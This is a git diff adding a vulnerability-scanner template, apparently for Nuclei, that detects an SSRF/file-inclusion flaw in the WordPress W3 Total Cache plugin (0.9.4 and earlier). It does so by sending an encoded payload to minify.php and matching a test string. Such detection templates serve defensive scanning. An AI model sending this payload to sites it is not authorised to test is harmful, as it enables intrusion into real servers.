diff --git a/vulnerabilities/w3c-total-cache.yaml b/vulnerabilities/w3c-total-cache.yaml new file mode 100644 index 0000000000..72da98bce1 --- /dev/null +++ b/vulnerabilities/w3c-total-cache.yaml @@ -0,0 +1,17 @@ +id: w3c-total-cache +info: + name: Wordpress W3C Total Cache SSRF <= 0.9.4 + author: random-robbie + severity: medium + # info https://wpvulndb.com/vulnerabilities/8644 + +requests: + - method: GET + path: + - '{{BaseURL}}/wp-content/plugins/w3-total-cache/pub/minify.php?file=yygpKbDS1y9Ky9TLSy0uLi3Wyy9KB3NLKkqUM4CyxUDpxKzECr30_Pz0nNTEgsxiveT8XAA.css' + matchers-condition: and + matchers: + - type: word + words: + - "NessusFileIncludeTest" + part: body